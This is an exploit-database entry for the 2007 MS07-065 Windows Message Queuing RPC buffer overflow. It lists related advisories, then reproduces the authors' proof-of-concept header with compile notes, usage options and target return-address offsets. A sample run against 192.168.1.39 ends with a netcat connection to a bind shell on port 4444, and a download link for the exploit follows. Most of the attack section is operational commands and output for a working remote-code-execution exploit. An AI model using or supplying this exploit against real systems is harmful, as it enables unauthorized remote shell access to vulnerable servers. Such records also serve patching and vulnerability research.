MS Windows 2000 AS SP4 Message Queue Exploit (MS07-065)

🗓️ 23 Dec 2007 00:00:00Reported by RootType

MS Windows 2000 AS SP4 Message Queue Exploit (MS07-065) by Mario Ballano & Andres Tarasc

Reporter	Title	Published	Views	Family All 26
0day.today	MS Windows 2000 AS SP4 Message Queue Exploit (MS07-065)	21 Dec 200700:00	–	zdt
Circl	CVE-2007-3039	25 Jul 201000:00	–	circl
Check Point Advisories	Microsoft Windows Message Queuing Service String Buffer Overflow (MS05-017; CVE-2005-0059; CVE-2007-3039)	30 Mar 200700:00	–	checkpoint_advisories
Check Point Advisories	Update Protection against Microsoft Windows Message Queuing Remote Code Execution Vulnerability (MS07-065)	18 Dec 200700:00	–	checkpoint_advisories
CVE	CVE-2007-3039	12 Dec 200700:00	–	cve
Cvelist	CVE-2007-3039	12 Dec 200700:00	–	cvelist
Exploit DB	Microsoft Message Queueing Service - DNS Name Path Overflow (MS07-065) (Metasploit)	25 Jul 201000:00	–	exploitdb
Exploit DB	Microsoft Windows Server 2000 SP4 (Advanced Server) - Message Queue (MS07-065)	21 Dec 200700:00	–	exploitdb
exploitpack	Microsoft Windows Server 2000 SP4 (Advanced Server) - Message Queue (MS07-065)	21 Dec 200700:00	–	exploitpack
canvas	Immunity Canvas: MS07_065	12 Dec 200700:46	–	canvas


                                                ******************************************************************************
**********************&nbsp;merry&nbsp;christmas&nbsp;Sysadmins&nbsp;*****************************
******************************************************************************
**************&nbsp;Microsoft&nbsp;Message&nbsp;Queue&nbsp;POC&nbsp;exploit&nbsp;(&nbsp;MS07-065&nbsp;)&nbsp;**************
	Mario&nbsp;Ballano&nbsp;&nbsp;-&nbsp;(mballano~gmail.com)&nbsp;-&nbsp;http://www.48bits.com
	Andres&nbsp;Tarasco&nbsp;-&nbsp;(atarasco~gmail.com)&nbsp;-&nbsp;http://www.tarasco.org
******************************************************************************

*&nbsp;Original&nbsp;Advisory:&nbsp;
	http://www.zerodayinitiative.com/advisories/ZDI-07-076.html
*&nbsp;Microsoft&nbsp;Bulletin&nbsp;:&nbsp;
	http://www.microsoft.com/technet/security/bulletin/ms07-065.mspx
*&nbsp;CVE&nbsp;Code:&nbsp;CVE-2007-3039
	http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3039
*&nbsp;Timeline:
&nbsp;&nbsp;&nbsp;&nbsp;No&nbsp;naked&nbsp;news&nbsp;this&nbsp;time,&nbsp;just&nbsp;rum&nbsp;and&nbsp;whiskey
*&nbsp;Additional&nbsp;information:
	From&nbsp;Microsoft&nbsp;support&nbsp;http://support.microsoft.com/?id=178517&nbsp;:&nbsp;RPC&nbsp;dynamic&nbsp;RPC&nbsp;ports&nbsp;for&nbsp;MQ&nbsp;2101,2103,2105&nbsp;
	HSC&nbsp;of&nbsp;course&nbsp;http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msmq.html
	Dave&amp;#381;s&nbsp;unmidl&nbsp;http://www.immunitysec.com/resources-freesoftware.shtml&nbsp;
*&nbsp;How&nbsp;to&nbsp;compile:&nbsp;Call&nbsp;your&nbsp;favorite&nbsp;SetEnv.Cmd&nbsp;from&nbsp;microsoft&nbsp;SDK&nbsp;and&nbsp;then&nbsp;exec&nbsp;nmake.

*&nbsp;Note:&nbsp;There&nbsp;are&nbsp;several&nbsp;rpc&nbsp;ports&nbsp;to&nbsp;trigger&nbsp;the&nbsp;overflow.&nbsp;If&nbsp;you&nbsp;hit&nbsp;a&nbsp;system&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;looks&nbsp;like&nbsp;you&amp;#381;ll&nbsp;need&nbsp;to&nbsp;send&nbsp;the&nbsp;exploit&nbsp;twice&nbsp;&nbsp;or&nbsp;specify&nbsp;another&nbsp;port&nbsp;(-p&nbsp;)&nbsp;to&nbsp;exploit&nbsp;it&nbsp;again.

&nbsp;&nbsp;&nbsp;&nbsp;There&nbsp;is&nbsp;a&nbsp;chance&nbsp;that&nbsp;offsets&nbsp;are&nbsp;invalid&nbsp;for&nbsp;windows&nbsp;2000&nbsp;server&nbsp;(only&nbsp;spanish&nbsp;win2k&nbsp;advanced&nbsp;server&nbsp;was&nbsp;tested)
	Adjust&nbsp;them&nbsp;if&nbsp;needed.&nbsp;	


*Usage:

C:\Programación\MessageQueue&gt;MessageQueue.exe
&nbsp;--------------------------------------------------------------
&nbsp;Microsoft&nbsp;MessageQueue&nbsp;local&nbsp;&amp;&nbsp;remote&nbsp;RPC&nbsp;Exploit&nbsp;code
&nbsp;Exploit&nbsp;code&nbsp;by&nbsp;Andres&nbsp;Tarasco&nbsp;&amp;&nbsp;Mario&nbsp;Ballano
&nbsp;Tested&nbsp;against&nbsp;Windows&nbsp;2000&nbsp;Advanced&nbsp;server&nbsp;SP4
&nbsp;--------------------------------------------------------------

&nbsp;Usage:&nbsp;&nbsp;&nbsp;MessageQueue.exe&nbsp;-h&nbsp;hostname&nbsp;[-d&nbsp;Dnssuffix]&nbsp;[-n&nbsp;netbiosname]&nbsp;[-p&nbsp;port]&nbsp;[-t&nbsp;lang]

&nbsp;Targets:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;(0x6bad469b)&nbsp;-&nbsp;Windows&nbsp;2000&nbsp;Advanced&nbsp;server&nbsp;English&nbsp;(default&nbsp;-&nbsp;untested)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;(0x6b9d469b)&nbsp;-&nbsp;Windows&nbsp;2000&nbsp;Advanced&nbsp;server&nbsp;Spanish
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2&nbsp;(0x41414141)&nbsp;-&nbsp;Windows&nbsp;2000&nbsp;Advanced&nbsp;server&nbsp;crash

C:\Programación\\MessageQueue&gt;MessageQueue.exe&nbsp;-h&nbsp;192.168.1.39
&nbsp;--------------------------------------------------------------
&nbsp;Microsoft&nbsp;MessageQueue&nbsp;local&nbsp;&amp;&nbsp;remote&nbsp;RPC&nbsp;Exploit&nbsp;code
&nbsp;Exploit&nbsp;code&nbsp;by&nbsp;Andres&nbsp;Tarasco&nbsp;&amp;&nbsp;Mario&nbsp;Ballano
&nbsp;Tested&nbsp;against&nbsp;Windows&nbsp;2000&nbsp;Advanced&nbsp;server&nbsp;SP4
&nbsp;--------------------------------------------------------------

[+]&nbsp;Binding&nbsp;to&nbsp;ncacn_ip_tcp:192.168.1.39
[+]&nbsp;Found&nbsp;fdb3a030-065f-11d1-bb9b-00a024ea5525&nbsp;version&nbsp;1.0
[+]&nbsp;RPC&nbsp;binding&nbsp;string:&nbsp;ncalrpc:[LRPC00000414.00000001]
[+]&nbsp;Found&nbsp;fdb3a030-065f-11d1-bb9b-00a024ea5525&nbsp;version&nbsp;1.0
[+]&nbsp;RPC&nbsp;binding&nbsp;string:&nbsp;ncalrpc:[QMsvc$testserver]
[+]&nbsp;Found&nbsp;fdb3a030-065f-11d1-bb9b-00a024ea5525&nbsp;version&nbsp;1.0
[+]&nbsp;RPC&nbsp;binding&nbsp;string:&nbsp;ncalrpc:[QmReplService]
[+]&nbsp;Found&nbsp;fdb3a030-065f-11d1-bb9b-00a024ea5525&nbsp;version&nbsp;1.0
[+]&nbsp;RPC&nbsp;binding&nbsp;string:&nbsp;ncalrpc:[QMMgmtFacility$testserver]
[+]&nbsp;Found&nbsp;fdb3a030-065f-11d1-bb9b-00a024ea5525&nbsp;version&nbsp;1.0
[+]&nbsp;RPC&nbsp;binding&nbsp;string:&nbsp;ncacn_ip_tcp:192.168.1.39[1222]
[+]&nbsp;Using&nbsp;gathered&nbsp;netbios&nbsp;name:&nbsp;testserver
[+]&nbsp;Dynamic&nbsp;MessageQueue&nbsp;rpc&nbsp;port&nbsp;found&nbsp;(1222)
[+]&nbsp;Connecting&nbsp;to&nbsp;fdb3a030-065f-11d1-bb9b-00a024ea5525@ncacn_ip_tcp:192.168.1.39[1222]
[+]&nbsp;RpcBindingFromStringBinding&nbsp;success
[+]&nbsp;Trying&nbsp;to&nbsp;fingerprint&nbsp;target...
[+]&nbsp;Fqdn&nbsp;name&nbsp;obtained&nbsp;from&nbsp;netbios&nbsp;packet:&nbsp;testserver.local
[+]&nbsp;Remote&nbsp;OS&nbsp;Fingerprint&nbsp;(05.00)
[+]&nbsp;Remote&nbsp;Host&nbsp;identified&nbsp;as&nbsp;Windows&nbsp;2000
[+]&nbsp;Sending&nbsp;POC&nbsp;Exploit&nbsp;code&nbsp;to&nbsp;QMCreateObjectInternal()
[+]&nbsp;Try&nbsp;to&nbsp;connect&nbsp;to&nbsp;remote&nbsp;host&nbsp;at&nbsp;port&nbsp;4444&nbsp;for&nbsp;a&nbsp;shell

C:\&gt;nc&nbsp;192.168.1.39&nbsp;4444
Microsoft&nbsp;Windows&nbsp;2000&nbsp;[Versión&nbsp;5.00.2195]
(C)&nbsp;Copyright&nbsp;1985-2000&nbsp;Microsoft&nbsp;Corp.

C:\WINNT\system32&gt;

Download:
http://www.milw0rm.com/sploits/2007-MessageQueue.zip

23 Dec 2007 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.8339